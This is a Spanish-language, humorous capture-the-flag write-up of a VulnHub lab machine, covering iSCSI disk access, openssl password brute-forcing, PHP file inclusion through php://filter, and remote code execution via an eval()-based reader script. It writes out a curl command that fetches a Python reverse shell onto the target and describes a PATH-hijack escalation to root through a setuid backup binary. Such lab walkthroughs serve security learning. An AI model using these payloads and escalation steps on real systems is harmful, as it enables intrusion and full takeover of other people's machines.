Yeeeeeeeeeeepa! Tenemos nueva maquina en vulnhub, y en la casa del amor ya tenemos el diagnostico: ha fallecido. jaja. Intentemos reproducir la escena del crimen:

 

Link: www.vulnhub.com/...

 

Como casi siempre, todo empieza con un escaneo de puertos de nmap.

Bueno, parece que no hay mucho. Un openssh, un ngix, y un puerto para iscsi, que a saberse que hace ahí. Cuestion de ir al http y buscar alguna vulnerabilidada web, ¿no?... pues vamos a ver si es verdad.

 

De primeras, el index.html:

Buuuu, este tiene toda la pinta de troll.

 

Nos dice que tiremos de dirbuster ... y menos mal, por que ya estaba apunto de apagar la maquina e irme al centro comercial. Pero no, no voy a usar dirbuster. Yo soy mas de wfuzz, me gusta como suena, dirbuster suena como a superheroe de niño pijo. Es igual, el caso es que si te pones a buscar directorios nos encontramos con lo que parece el primer cachondeo:

Vale, para el que no lo pille, eso es la salida de wfuzz cuando busca recursivamente (-R depth). Empiezan a salir directorios a punta pala, hay que tirar del hilo y seguir el camino.

 

Despues de un rato andando monguer, me encuentro con:

 

- http://192.168.110.140/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/xmlrpc.php

 

Donde encuentro el enlace a un video donde salen unas personas que parecen estar drogadas y bailando una música extrañanamente repetitiva. No lo entiendo, no me gusta y me voy.

 

Aún estando un poco confuso y bajo los efectos de esa musica del diablo, consigo avanzar por la tortuosa senda de directorios. Hay un nuevo alto en el camino:

 

- http://192.168.110.140/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/index.html   (...es que tu fijate el troll, la que se ha tirado ahi creando carpetas...)

 

 

Jajaja, lo que yo te digo... es un genio del humor. Vamos a mirarle las tripas:

Ahá! Por fín alguna recompensa!... o que cojones? Es la letra de una cancion que.... no la busqueis hacedme caso. Como motivo de protesta no pienso escribir le nombre del cantante, no voy a hacerle prublicidad a semejante esperpento.

 

Hello, is it flags you're looking for?
I can see it in your eyes
I can see it in your smile
Flags are all I've ever wanted and my ports are open wide
Cause you know just
what to say and you know just what to do
And I want to tell you so much, no flags for you...

 

Pues me quedo poco mas o menos igual...  Bueno, se me ocurren un par de cosas:

- Un diccionario para fuzzear otra vez en busca de nuevos directorios o archivos... Pero con esto no llego a nada más que a perder un poco de pelo y a perder mas de media tarde (que habia salido muy buena para estar de cañas).

 

- Mandar a tomar por el culo al servidor http, aquí no hay nada.... es buen momento para darme una ducha, apesto.

 

- * -

Vale, ya estoy aqui. Llevo un rato pensando en el ISCSI, he visto el puerto 3260 abierto. Pero he pasado de el convencido de que la puerta de entrada estaria en el servidor http.

 

ISCSI es un protocolo para compartir almacenamiento en red. ¿No estará el nota sirviendo un disco en red y yo aquí todo desquiciado? El caso es que, si hago un telnet al puerto me engancha, pero no interactua. De todas formas aunque hubiera un target escuchando, con telnet no voy a ningun sitio. Hay que buscar, es la primera vez que me enfrento con esto.

 

Despues de un rato doy con la siguiente web:

https://www.pentestpartners.com/blog/an-interesting-route-to-domain-admin-iscsi/

 

Por lo visto necesito instalarme el cliente (initiator). Pero, pff, mas mierda al pc... deberia hacer estas cosas en otra maquina que no sea donde guardo los informes médicos...

apt-get install open-iscsi

Y ahora si.

1 - Buscamos discos en la maquina:

iscsiadm -m discovery -t st -p 192.168.110.140

2 - Aparece un target, conectamos:

iscsiadm -m node -p 192.168.110.140 --login --target iqn.2017-02.local.skuzzy:storage.sys0

3 - KABUMMM!!

*Aclaro que en la imagen anterior, cuando me conecto al target, muestra ese mensaje por que el disco ya está presente. Sinó daria un 'login ok'.

 

Din, din, din, din! tenemos la primera flag queridos pacientes. Y aunque reconozco que no estaba dificil, me ha costado dar vueltas de pelotas.

Tambien nos vemos recompensados con un archivo de disco: 'bobsdisk.dsk.

Muy bien, si montamos ese disco tenemos dos archivos. Uno con extension csv que está encriptado y otro que parece ser un mail que escribe un tal bob a una tal alice.

Tras examinarlo con detenimiento y desde la perspectiva del psicoanalisis, se observa que bob tiene ciertos temores internos y que intenta disimular ante alice para ser de su agrado y poder conquistarla. Para ello se mete en movidas de encriptacion de discos y mierdas que no entiende, y al final acaba jodiendolo todo. Alice, una ingeniera en telecomunicaciones y elite en seguridad, se ve que pasa de el. Por lo que no se puede ver ni leer de ella, se aprecia nitidamente que tiene multiples amantes y piensa que bob es un capullo acomplejado.

 

Esto y 'rockyou' es lo unico que consigo sacar en claro. (Ah y la flag2. TOMA!!!).

- ¡¡Doctor, lo de la encriptación. Ya lo tengo!!

 

Coño, c4rp1o!! El tio, que llevaba todo el día de resaca, ademas pensaba que con la sobredosis que pillamos de dirbuster ya lo habia perdido.

 

Pero no, ahí está al pié del cañon, y yo sé que la encriptación es uno de sus puntos fuertes. Tanto es así que en el rato que yo habia dedicado al psicoanálisis del capullo de bob, el habia dado con la siguiente flag. Esto fué lo que hizo:

 

Lo primero revisar con file el tipo de archivo: openssl enc'd data with salted password.

 

Con las dos pistas que tenemos, rockyou y el tipo encriptacion (sha256). c4rp1o me enseña el programa bruteforce-salted-openssl (github o apt-get). Canelita en rama!.

Venga ya! supercalifragilisticoespialidoso... y venia en claro en el mail. (Ya sabeis por qué alice piensa que bob es un capullo).

 

- Correcto amigo c4rp1o, tenemos la contraseña de encriptacion y ahora?

- Es sencillo doctor, la pista la tienes delante: El parametro -md sha256, lo decia el capullo de bob. Eso es por openssl.

OH MY FITNESS!! era verdad, la flag3!!. Otro pasito más hacia adelante..., Maria.

 

Tenemos ahora dos carpetas en el http, que obviamente jamás habriamos encontrado con dirbuster:

 

/5560a1468022758dba5e92ac8f2353c0/

Ahi ya muestro el codigo fuente de la misma. Es una jugada similar a la del principio.

 

George Costanza: [Soup Nazi gives him a look] Medium turkey chili.
[instantly moves to the cashier]
Jerry Seinfeld: Medium crab bisque.
George Costanza: [looks in his bag and notices no bread in it] I didn't get any bread.
Jerry Seinfeld: Just forget it. Let it go.
George Costanza: Um, excuse me, I - I think you forgot my bread.
Soup Nazi: Bread, $2 extra.
George Costanza: $2? But everyone in front of me got free bread.
Soup Nazi: You want bread?
George Costanza: Yes, please.
Soup Nazi: $3!
George Costanza: What?
Soup Nazi: NO FLAG FOR YOU

 

Venga...otra vez. No me fio ni un pelo, esto me huele a chamusquina. Me piro de aqui pero ya, ¿que otra url teniamos?.... C4rp1o tampoco lo habia dudado, a el tambien le huele a trolleo.

 

/c2444910794e037ebd8aaf257178c90b/

Uy! que bonito, esto ya me gusta más. ¿Queda cerveza?.

 

Este index.php tiene un parametro 'p', que canta a tulipanes.

Y no es mentira. Lo llevo a la sala repeter de burpsuite. Desde alli confirmo mis sospechas, un RFI.

Ummm, pero no puedo visualizar el /etc/passwd. Será que lo está filtrando el php?

Va a ser eso, y para ver el codigo fuente del index.php vamos a tener que hacer uso de uno de los secretos mejor guardados del doctor zaiuss (y de un millon de paginas de internet): php://filter/convert.base64-encode/resource=archivo

 

Con esto precediendo al archivo php (o cualquier otro), obtendremos su contenido encodeado en base64. Mola eh?

Ahora sí que tenemos el codigo fuente. Y confirmamos nuestras sospechas sobre el filtrado que está haciendo, y por lo que no podemos ver /etc/passwd:

 

if(strstr($page, 'passwd'))          //mamón

 

Bueno, esto no nos frena, de echo ahora que podemos ver el codigo fuente de los php, podemos decir que aún tenemos balas en la recamara.

 

En este directorio habia otros archivos que algo tendrán, digo yo... Vamos con el más goloso, flag.php:

 

<?php
// Ok, ok. Here's your flag!
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
// Well done, you're doing great so far!
// Next step. SHELL!
// Oh. That flag above? You're gonna need it...
?>

 

Ja! toma ya! la flag4! Además, nos advierte de que la guardemos (estaba a punto de borrarla) que la vamos a necesitar. Tambien nos dice que lo proximo es la shell. De todas formas que diga lo que quiera, no me fio de este tio.

 

Tenemos otro archivo, y muy interesante: reader.php.

El codigo es largo como para poner un pantallazo. Vamos a ver por encima lo mas destacado y lo comento:

 

// Setup some variables.
$secretok = false;
$keyneeded = true;


// Aquí como permite el acceso sin key desde localhost:
if(preg_match("#^http://127.0.0.1#", $url)) {
    $keyneeded = false;
    $secretok = true;

 

// Aqui obtiene el parametro key y comprueba, tras hashearlo en sha256, si coincide //con el chorizo que tiene en $secret.
if($keyneeded) {
    $key = $_GET['key'];
    if(is_array($key)) {
        die("Array trick is mitigated ;)");
    }
    if(isset($key) && strlen($key) == '47') {
        $hashedkey = hash('sha256', $key);
        $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";     

  

//secretok se pone a true si la clave es correcta.

if(strcmp($hashedkey, $secret) == 0) {
    $secretok = true;

// get_content del archivo dado en url
    $f = file_get_contents($url);

 

// Un spliteo para formatear el codigo e identificar la etiqueta ##text##
    $text = preg_split("/##text##/s", $f);


// Muestra a partir de la etiqueta
    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);

 

// Igual: Splitea a partir de la etiqueta ##php##, ejecuta despues.
    $php = preg_split("/##php##/s", $f);


// Y aqui está la crema. El codigo php será ejecutado con eval().
    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);

 

En definitiva. El php va a mostrar y ejecutar el contenido de un archivo dado mediante una url. Pero.

 - Si el link pertenece al propio servidor (empieza por http://127.0.0.1/), no es necesaria la contraseña (key).

 - Si el link llama a un enlace externo, que seria lo interesante, se requiere la autenticación ($secretok = true).

 

Bien, el codigo está claro, tan claro como que sin la key lo llevo chungo. Por que con lo que él tiene dentro del servidor no hago una mierda... pues busquemos la key.

 

Tiro de diccionarios, dark0de, cain, rockyou, no se cuantos de la SecList, combinaciones chungas y casi sin sentido con toda la basura que ido apuntado hasta llegar aqui... pero nada, mierda. No salta. Tambien por otro lado me quedaban dos php por revisar, party.php y welcome.php, pero tampoco, mas mierda... empiezo a frustrarme, son las 4 de la mañana y solo me queda un cigarro.

 

Es el fin, me voy a la cama, bueno, aunque creo que voy a dejar a john haciendo fuerza bruta a partir de 4 caracterés... a lo mejor mañana tenga un regalito.


dos dias despues......


All rigth!! Ya estoy de vuelta y con noticias frescas: Tenemos la key!!! pero no saltó con john eh!, fué mas cosa de lógica metagamer mezclado con un pequeño momento de inspiracion. Vamos pura coña.

 

Se me ocurrio el ir hasheando en sha256 algunas palabras clave que habia subrayado. Iba una por una, sabia que si alguna acababa en "656" posiblemente habia acertado.

 

Además fué muy guapo, por que habia empezado a probar con el contenido de la flag1, y cuando estaba copiando la flag2 para probarla dije.... coño!, claro, la flag4!. 

 

El master nos habia avisado de que la ibamos a necesitar, y yo pensando que era un trolleo casi lo habia olvidado...

flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}

---- sha256 ---->

5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656

 

¿Quien es dios? Jamás hubo respuesta....

 

Subidón! Lo tengo. Ahora en teoria, si al reader.php le paso los siguientes parametros:

url=http://192.168.110.1/archivo.php

key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} ... interpretará el codigo del archivo php, siempre que esté formateado de la forma correcta. Veamos si funciona:

Bingo!!!, en la imagen vemos como hemos creado y hosteado con python -m SimpleHTTPServer un archivo php con la función system('id'). Y funciona!

 

Pues ya está toda la estructura montada, a partir de aquí cada uno que acceda como quiera o como pueda, pero esto ya está roto. Una forma de obtener shell seria:

 

1 - Hostear 2 archivos:

-boby.py con una shell reversa en python.

-bukake.php con: system('curl http://192.168.110.140/boby.py > /tmp/boby.py')

2 - Ahora la idea es ir modificando bukake.php según las necesitades.

Ya tenemos boby.py en el servidor, ahora hay que darle permisos. Modificamos bukake.php. Y volvemos a pedirlo.

3 - Ya por ultimo podermos ejecutar el script. Pero no sin antes poner un nc a la escuha...

- yo ya....

 

Venga, estamos dentro y somos www-data. No pasa nada, jeje, algo se podrá hacer... siempre se puede hacer algo. De momento a buscar información.

 

No me da tiempo a mucho mas que a comprobar que ahí solo vive skuzzy, cuando recibo un nuevo aviso de c4rp1o:

 - Has mirado en /opt/ huele raro, hay un binario "setuideado". Voy viendolo en radare!

 - En serio? ...joder con el nivel 'intermediate'.

 - La verdad es que si, pero estoy seguro de que es la escalera.

 

/opt/alicebackup

Ummm, pues quizas si que sería interesante debugearlo con radare, dije. Y esto fué rápido:

Habia una función strcp si, que bien, pero lo que tambien habia era una randomización de memoria, que fué verla y salir sin hacer ruido... Si ese es el camino esperaremos al walkthrough de g0blin. y ahi terminé con radare.

 

Vamos a ver los strings otra vez... yo que sé.

Pensemos, hace un scp del archivo /tmp/special a el dominio bob@alice.home. Justo la linea que está dando fallo en la ejecución. Logico por que no existe el dominio, y aunque existiera tendriamos el problema de las credenciales seguramente.

 

Vale, otra cosa. scp se está llamando según el $PATH, eso está muy mal (lo seguro seria llamar a /usr/bin/scp) y creo que es game-over.

 

Primero voy a crear un script en bash llamado /tmp/scp con la linea /bin/bash, y le voy  a dar permisos de ejecucion.

Lo siguiente es meter la carpeta /tmp/ al principio del PATH, de está manera conseguiremos que nuestro script se ejecute antes que el supuesto binario, que se encuentra originalmente en /usr/bin/

Ahora si todo está bien, /opt/alicebackup ejecutará nuestro 'script-in-the-middle' y este llamará al terminal bash pero con permisos de root... estoy nervioso.

Y eso es todo lo que puedo contar. Ha pasado todo tan rapido...

Zaiuss.